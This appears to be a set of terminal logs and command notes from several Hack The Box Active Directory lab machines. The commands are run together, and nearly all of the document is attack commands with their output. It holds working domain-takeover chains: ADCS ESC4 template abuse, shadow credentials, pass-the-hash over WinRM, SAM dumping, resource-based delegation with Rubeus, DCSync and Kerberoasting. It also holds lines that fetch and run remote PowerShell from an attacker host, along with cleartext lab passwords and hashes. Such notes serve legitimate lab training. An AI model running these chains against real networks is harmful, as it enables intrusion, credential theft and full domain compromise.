[2025-05-24T01:56:22Z INFO rusthound::ldap] All data collected for NamingContext DC=sequel,DC=htb
[2025-05-24T01:56:25Z INFO rusthound::ldap] All data collected for NamingContext CN=Configuration,DC=sequel,DC=htb
[2025-05-24T01:56:25Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2025-05-24T01:56:25Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
⢀ Parsing LDAP objects: 20% [2025-05-24T01:56:25Z INFO rusthound::modules::adcs::parser] Found 12 enabled certificate templates
[2025-05-24T01:56:25Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2025-05-24T01:56:25Z INFO rusthound::json::checker] Starting checker to replace some values...
[2025-05-24T01:56:25Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2025-05-24T01:56:25Z INFO rusthound::modules] Starting checker for ADCS values...
[2025-05-24T01:58:40Z ERROR rusthound::modules::adcs::checker] Couldn't connect to server http://DC01.sequel.htb/certsrv/, please try manually and check for https access if EPA is enable.
[2025-05-24T01:58:40Z INFO rusthound::modules] Checking for ADCS values finished!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 10 users parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 67 groups parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 1 computers parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 1 ous parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 1 domains parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 1 cas parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 34 templates parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] 21 containers parsed!
[2025-05-24T01:58:40Z INFO rusthound::json::maker] .//20250524035840_sequel-htb_rusthound.zip created!
RustHound Enumeration Completed at 03:58:40 on 05/24/25! Happy Graphing!❯ sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
[+] Running 3/3
✔ Container bloodhound-ce_graph-db_1 Healthy 21.0s
✔ Container bloodhound-ce_app-db_1 Healthy 11.0s
✔ Container bloodhound-ce_bloodhound_1 Started 0.4s❯ bloodyAD --host "$IP" -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
❯ bloodyAD --host "$IP" -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' add genericAll 'ca_svc' 'ryan'
[+] ryan has now GenericAll on ca_svc❯ sudo ntpdate -s "$IP"
❯ certipy-ad shadow auto -username 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip "$IP"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '784f3a72-8b59-7883-53ca-502e637d77fb'
[*] Adding Key Credential with device ID '784f3a72-8b59-7883-53ca-502e637d77fb' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '784f3a72-8b59-7883-53ca-502e637d77fb' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ca_svc@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce❯ certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip "$IP" -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'sequel-DC01-CA'
[*] Checking web enrollment for CA 'sequel-DC01-CA' @ 'DC01.sequel.htb'
[*] Enumeration output:
Certificate Authorities
0
CA Name : sequel-DC01-CA
DNS Name : DC01.sequel.htb
Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb
Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3
Certificate Validity Start : 2024-06-08 16:50:40+00:00
Certificate Validity End : 2124-06-08 17:00:40+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireCommonName
Enrollment Flag : PublishToDs
AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-05-24T02:11:28+00:00
Template Last Modified : 2025-05-24T02:11:28+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Property Enroll : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
[+] User Enrollable Principals : SEQUEL.HTB\Cert Publishers
[+] User ACL Principals : SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : User has dangerous permissions.❯ certipy-ad template -u 'ca_svc@sequel.htb' -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template DunderMifflinAuthentication -save-old -dc-ip "$IP"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'❯ certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip "$IP" -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : sequel-DC01-CA
DNS Name : DC01.sequel.htb
Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb
Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3
Certificate Validity Start : 2024-06-08 16:50:40+00:00
Certificate Validity End : 2124-06-08 17:00:40+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireCommonName
SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
Write Property Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions❯ certipy-ad req -u 'ca_svc@sequel.htb' -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn Administrator -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'❯ certipy-ad auth -pfx administrator.pfx -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff❯ nxc winrm "$IP" -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)❯ nxc winrm "$IP" -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff' -X 'type C:\Users\Administrator\Desktop\root.txt'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)
WINRM 10.10.11.51 5985 DC01 [+] Executed command (shell type: powershell)
WINRM 10.10.11.51 5985 DC01 40e56******************3c515ca58❯ export IP=10.10.11.69
❯ iRecon "$IP"map -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.35 -oG allPortskerbrute userenum --dc 10.10.11.35 -d cicada.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtnetexec smb 10.10.11.35 -u guest -p ""smbclient -L 10.10.11.35 -U cicada.htb\guestsmbclient //10.10.11.35/HR -U cicada.htb\guest
ls
get "Notice from HR.txt"
quitcatnp "Notice from HR.txt"crackmapexec smb 10.10.11.35 -u cicada.htb\guest -p "" --rid-brutecatnp users.txtnetexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'ldapdomaindump -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -o dumpcrackmapexec smb 10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3' --sharessmbclient //10.10.11.35/DEV -U cicada.htb/david.orelious
ls
get Backup_script.ps1
quitcatnp Backup_script.ps1crackmapexec smb 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' --sharesevil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'whoami /priv
reg save hklm\sam c:\temporal\sam
reg save hklm\system c:\temporal\systemdownload SAM
download SYSTEMpypykatz registry --sam SAM SYSTEM 2>/dev/nullevil-winrm -i 10.10.11.35 -u Administrator -H '2b87e7c93a3e8a0ea4a581937016f341'nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.100 -oG allPorts

BloodHoundShared Support AccountssupportGenericAllNT Authority\SystemGenericWriteethanethanDCSyncAdministratornmapAuthorityallPorts


nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.174 -oG allPortsnmap -sCV -p53,88,135,139,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49686,49691,49712 10.10.11.174 -oN targetedldapsearch -x -H ldap://10.10.11.174 -s base | grep defaultNamingContextcatnp /etc/hosts | grep support.htbsmbclient -L 10.10.11.174 -N 2>/dev/nullsmbclient //10.10.11.174/support-tools -Nmono UserInfo.exenetexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d htb.localldapdomaindump -u 'support.htb\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -o ldapldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "samaccountname: support" -B 40bloodhound-python -c all -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.10.11.174netexec winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'net groupwget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/refs/heads/master/Powermad.ps1
upload Powermad.ps1
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbosewget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
upload PowerView.ps1
Import-Module .\PowerView.ps1Get-DomainComputer SERVICEA$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'upload Rubeus.exe
.\Rubeus.exe hash /password:123456 /user:SERVICEA$ /domain:support.htb.\Rubeus.exe s4u /user:SERVICEA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /pttcatnp ticket.kirbi.b64
base64 -d ticket.kirbi.b64 > ticket.kirbiticketConverter.py ticket.kirbi ticket.ccacheKRB5CCNAME=ticket.ccache psexec.py -k -no-pass support.htb/administrator@dc.support.htbnmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.42 -oG allPortsnmap -sCV -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,59357,59362,59369,59374,59387,64847 10.10.11.42 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80netexec smb 10.10.11.42
ldapsearch -x -H ldap://10.10.11.42 -s base | grep defaultNamingContextcatnp /etc/hostsrpcenum -e All -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'catnp users.txtimpacket-GetNPUsers -no-pass -usersfile users.txt administrator.htb/ 2>/dev/nullimpacket-GetUserSPNs -dc-ip 10.10.11.42 administrator.htb/Olivia -request 2>/dev/nullldapdomaindump -u 'administrator.htb\Olivia' -p 'ichliebedich' 10.10.11.42 -o ldapnetexec winrm 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
evil-winrm -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'bloodhound-python -c all -u Olivia -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42ls PowerView.ps1
python3 -m http.server 80
IEX (New-Object Net.WebClient).downloadString("http://10.10.14.2/PowerView.ps1")
$UserPassword = ConvertTo-SecureString 'Gzzcoo123' -AsPlainText -Force
Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword netexec winrm 10.10.11.42 -u 'Michael' -p 'Gzzcoo123'
evil-winrm -i 10.10.11.42 -u 'Michael' -p 'Gzzcoo123'python3 -m http.server 80
IEX (New-Object Net.WebClient).downloadString("http://10.10.14.2/PowerView.ps1")
$UserPassword = ConvertTo-SecureString 'Gzzcoo123' -AsPlainText -Force
Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPasswordnetexec smb 10.10.11.42 -u 'Benjamin' -p 'Gzzcoo123'
ftp 10.10.11.42
ftp> ls
ftp> get Backup.psafe3pwsafe2john Backup.psafe3 > hash_backup
john --wordlist=/usr/share/wordlists/rockyou.txt hash_backupnetexec winrm 10.10.11.42 -u 'Emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
evil-winrm -i 10.10.11.42 -u 'Emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'python3 /opt/targetedKerberoast/targetedKerberoast.py -v -d 'administrator.htb' -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'john --wordlist=/usr/share/wordlists/rockyou.txt hashesnetexec smb 10.10.11.42 -u 'Ethan' -p 'limpbizkit'secretsdump.py -just-dc-ntlm administrator.htb/ethan@10.10.11.42netexec winrm 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'
evil-winrm -i 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.202 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 19:05 CET
Initiating SYN Stealth Scan at 19:05
Scanning 10.10.11.202 [65535 ports]
Discovered open port 135/tcp on 10.10.11.202
Discovered open port 139/tcp on 10.10.11.202
Discovered open port 445/tcp on 10.10.11.202
Discovered open port 53/tcp on 10.10.11.202
Discovered open port 49689/tcp on 10.10.11.202
Discovered open port 389/tcp on 10.10.11.202
SYN Stealth Scan Timing: About 22.90% done; ETC: 19:07 (0:01:44 remaining)
Discovered open port 49752/tcp on 10.10.11.202
Discovered open port 636/tcp on 10.10.11.202
Discovered open port 49732/tcp on 10.10.11.202
Discovered open port 88/tcp on 10.10.11.202
Discovered open port 88/tcp on 10.10.11.202
SYN Stealth Scan Timing: About 31.44% done; ETC: 19:08 (0:02:13 remaining)
SYN Stealth Scan Timing: About 46.69% done; ETC: 19:08 (0:01:44 remaining)
Discovered open port 49690/tcp on 10.10.11.202
Discovered open port 3269/tcp on 10.10.11.202
Discovered open port 593/tcp on 10.10.11.202
SYN Stealth Scan Timing: About 61.94% done; ETC: 19:08 (0:01:14 remaining)
Discovered open port 1433/tcp on 10.10.11.202
SYN Stealth Scan Timing: About 77.19% done; ETC: 19:08 (0:00:45 remaining)
Discovered open port 464/tcp on 10.10.11.202
Discovered open port 3268/tcp on 10.10.11.202
Discovered open port 49713/tcp on 10.10.11.202
Discovered open port 49667/tcp on 10.10.11.202
Discovered open port 9389/tcp on 10.10.11.202
Discovered open port 5985/tcp on 10.10.11.202
Completed SYN Stealth Scan at 19:08, 192.97s elapsed (65535 total ports)
Nmap scan report for 10.10.11.202
Host is up, received user-set (0.13s latency).
Scanned at 2025-02-19 19:05:34 CET for 192s
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49690/tcp open unknown syn-ack ttl 127
49713/tcp open unknown syn-ack ttl 127
49732/tcp open unknown syn-ack ttl 127
49752/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 193.11 seconds
Raw packets sent: 196703 (8.655MB) | Rcvd: 249 (14.596KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.202
[*] Open ports: 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49713,49732,49752
[*] Ports copied to clipboard❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49713,49732,49752 10.10.11.202 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 19:09 CET
Nmap scan report for sequel.htb (10.10.11.202)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-20 02:10:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2025-02-20T02:11:50+00:00; +8h00m48s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2025-02-20T02:11:51+00:00; +8h00m48s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.202:1433:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: dc.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.11.202:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-20T01:57:03
|_Not valid after: 2055-02-20T01:57:03
|_ssl-date: 2025-02-20T02:11:50+00:00; +8h00m48s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2025-02-20T02:11:50+00:00; +8h00m48s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-20T02:11:51+00:00; +8h00m48s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49713/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
49752/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-20T02:11:11
|_ start_date: N/A
|_clock-skew: mean: 8h00m47s, deviation: 0s, median: 8h00m47s
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 128.62 ms 10.10.16.1
2 192.82 ms sequel.htb (10.10.11.202)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.88 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.202
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://10.10.11.202 -s base | grep defaultNamingContext
defaultNamingContext: DC=sequel,DC=htb❯ cat /etc/hosts | grep sequel.htb
10.10.11.202 sequel.htb DC.sequel.htb❯ nxc smb 10.10.11.202 -u 'guest' -p ''
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest: ❯ ridenum 10.10.11.202 500 2500 guest ''
[*] Attempting lsaquery first...This will enumerate the base domain SID
[*] Successfully enumerated base domain SID. Printing information:
Domain Name: sequel
Domain Sid: S-1-5-21-4078382237-1492182817-2568127209
[*] Moving on to extract via RID cycling attack..
[*] Enumerating user accounts.. This could take a little while.
Account name: sequel\Administrator
Account name: sequel\Guest
Account name: sequel\krbtgt
Account name: sequel\DC$
Account name: sequel\Tom.Henn
Account name: sequel\Brandon.Brown
Account name: sequel\Ryan.Cooper
Account name: sequel\sql_svc
Account name: sequel\James.Roberts
Account name: sequel\Nicole.Thompson
[*] RIDENUM has finished enumerating user accounts...❯ cat users.txt
Account name: sequel\Administrator
Account name: sequel\Guest
Account name: sequel\krbtgt
Account name: sequel\DC$
Account name: sequel\Tom.Henn
Account name: sequel\Brandon.Brown
Account name: sequel\Ryan.Cooper
Account name: sequel\sql_svc
Account name: sequel\James.Roberts
Account name: sequel\Nicole.Thompson
❯ cat users.txt | awk '{print $NF}' FS='\\' | sponge users.txt
❯ cat users.txt
Administrator
Guest
krbtgt
DC$
Tom.Henn
Brandon.Brown
Ryan.Cooper
sql_svc
James.Roberts
Nicole.Thompson❯ impacket-GetNPUsers -no-pass -usersfile users.txt sequel.htb/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Tom.Henn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brandon.Brown doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ryan.Cooper doesn't have UF_DONT_REQUIRE_PREAUTH set
